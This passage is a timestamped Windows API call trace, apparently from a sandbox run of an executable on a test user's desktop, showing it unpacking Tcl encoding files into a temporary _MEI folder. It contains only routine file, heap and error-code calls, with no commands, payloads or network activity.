[0036.775] htonl (hostlong=0x2a020000) returned 0x22a [0036.775] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22a) returned 0x550600 [0036.775] htonl (hostlong=0x2a020000) returned 0x22a [0036.775] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.775] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.776] htonl (hostlong=0x48040000) returned 0x448 [0036.776] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x448) returned 0x55e278 [0036.776] htonl (hostlong=0x2a020000) returned 0x22a [0036.776] htonl (hostlong=0x48040000) returned 0x448 [0036.776] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.776] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.776] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.776] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.776] CloseHandle (hObject=0x10c) returned 1 [0036.776] GetLastError () returned 0x0 [0036.776] SetLastError (dwErrCode=0x0) [0036.776] GetLastError () returned 0x0 [0036.776] SetLastError (dwErrCode=0x0) [0036.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.776] GetFileType (hFile=0x10c) returned 0x1 [0036.776] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.776] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.776] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.776] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.776] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.776] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.776] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.776] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.776] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.776] CloseHandle (hObject=0x10c) returned 1 [0036.777] GetLastError () returned 0x0 [0036.777] SetLastError (dwErrCode=0x0) [0036.777] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.777] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.777] GetFileType (hFile=0x10c) returned 0x1 [0036.777] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.777] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.777] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.777] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.777] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.777] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.777] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.777] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.777] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.777] CloseHandle (hObject=0x10c) returned 1 [0036.777] GetLastError () returned 0x0 [0036.777] SetLastError (dwErrCode=0x0) [0036.777] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCyrillic.enc") returned 74 [0036.777] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCyrillic.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\maccyrillic.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.777] GetLastError () returned 0x2 [0036.777] SetLastError (dwErrCode=0x2) [0036.777] GetLastError () returned 0x2 [0036.777] SetLastError (dwErrCode=0x2) [0036.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCyrillic.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCyrillic.enc", lpFilePart=0x0) returned 0x49 [0036.777] GetLastError () returned 0x2 [0036.778] SetLastError (dwErrCode=0x2) [0036.778] GetLastError () returned 0x2 [0036.778] SetLastError (dwErrCode=0x2) [0036.778] GetLastError () returned 0x2 [0036.778] SetLastError (dwErrCode=0x2) [0036.778] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCyrillic.enc") returned 74 [0036.778] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCyrillic.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\maccyrillic.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.779] GetFileType (hFile=0x10c) returned 0x1 [0036.779] htonl (hostlong=0x48040000) returned 0x448 [0036.779] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.779] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x448, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x448, lpOverlapped=0x0) returned 1 [0036.780] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.780] CloseHandle (hObject=0x10c) returned 1 [0036.780] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.780] htonl (hostlong=0x30000000) returned 0x30 [0036.780] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.780] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.780] GetFileType (hFile=0x10c) returned 0x1 [0036.780] htonl (hostlong=0xdb535600) returned 0x5653db [0036.781] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b03db, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.781] htonl (hostlong=0x18020000) returned 0x218 [0036.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x218) returned 0x550600 [0036.781] htonl (hostlong=0x18020000) returned 0x218 [0036.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.781] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.781] htonl (hostlong=0x48040000) returned 0x448 [0036.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x448) returned 0x55e278 [0036.781] htonl (hostlong=0x18020000) returned 0x218 [0036.781] htonl (hostlong=0x48040000) returned 0x448 [0036.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.781] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.781] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.781] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.781] CloseHandle (hObject=0x10c) returned 1 [0036.781] GetLastError () returned 0x0 [0036.781] SetLastError (dwErrCode=0x0) [0036.781] GetLastError () returned 0x0 [0036.781] SetLastError (dwErrCode=0x0) [0036.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.781] GetFileType (hFile=0x10c) returned 0x1 [0036.781] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.781] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.781] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.781] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.781] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.781] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.782] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.782] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.782] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.782] CloseHandle (hObject=0x10c) returned 1 [0036.782] GetLastError () returned 0x0 [0036.782] SetLastError (dwErrCode=0x0) [0036.782] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.782] GetFileType (hFile=0x10c) returned 0x1 [0036.782] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.782] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.782] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.782] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.782] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.782] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.782] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.795] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.795] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.795] CloseHandle (hObject=0x10c) returned 1 [0036.796] GetLastError () returned 0x0 [0036.796] SetLastError (dwErrCode=0x0) [0036.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macDingbats.enc") returned 74 [0036.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macDingbats.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macdingbats.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.796] GetLastError () returned 0x2 [0036.796] SetLastError (dwErrCode=0x2) [0036.796] GetLastError () returned 0x2 [0036.796] SetLastError (dwErrCode=0x2) [0036.796] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macDingbats.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macDingbats.enc", lpFilePart=0x0) returned 0x49 [0036.796] GetLastError () returned 0x2 [0036.796] SetLastError (dwErrCode=0x2) [0036.796] GetLastError () returned 0x2 [0036.796] SetLastError (dwErrCode=0x2) [0036.796] GetLastError () returned 0x2 [0036.796] SetLastError (dwErrCode=0x2) [0036.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macDingbats.enc") returned 74 [0036.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macDingbats.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macdingbats.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.797] GetFileType (hFile=0x10c) returned 0x1 [0036.797] htonl (hostlong=0x48040000) returned 0x448 [0036.797] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.797] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x448, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x448, lpOverlapped=0x0) returned 1 [0036.801] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.801] CloseHandle (hObject=0x10c) returned 1 [0036.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.803] htonl (hostlong=0x30000000) returned 0x30 [0036.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.803] GetFileType (hFile=0x10c) returned 0x1 [0036.803] htonl (hostlong=0xf3555600) returned 0x5655f3 [0036.803] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b05f3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.803] htonl (hostlong=0x1e020000) returned 0x21e [0036.803] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21e) returned 0x550600 [0036.803] htonl (hostlong=0x1e020000) returned 0x21e [0036.803] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.803] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.803] htonl (hostlong=0x45040000) returned 0x445 [0036.803] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x445) returned 0x55e278 [0036.803] htonl (hostlong=0x1e020000) returned 0x21e [0036.803] htonl (hostlong=0x45040000) returned 0x445 [0036.803] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.803] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.803] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.803] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.804] CloseHandle (hObject=0x10c) returned 1 [0036.804] GetLastError () returned 0x0 [0036.804] SetLastError (dwErrCode=0x0) [0036.804] GetLastError () returned 0x0 [0036.804] SetLastError (dwErrCode=0x0) [0036.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.804] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.804] GetFileType (hFile=0x10c) returned 0x1 [0036.804] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.804] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.804] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.804] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.804] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.804] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.804] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.804] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.804] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.804] CloseHandle (hObject=0x10c) returned 1 [0036.804] GetLastError () returned 0x0 [0036.804] SetLastError (dwErrCode=0x0) [0036.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.804] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.805] GetFileType (hFile=0x10c) returned 0x1 [0036.805] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.805] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.805] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.805] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.805] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.805] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.805] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.805] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.805] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.805] CloseHandle (hObject=0x10c) returned 1 [0036.805] GetLastError () returned 0x0 [0036.805] SetLastError (dwErrCode=0x0) [0036.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 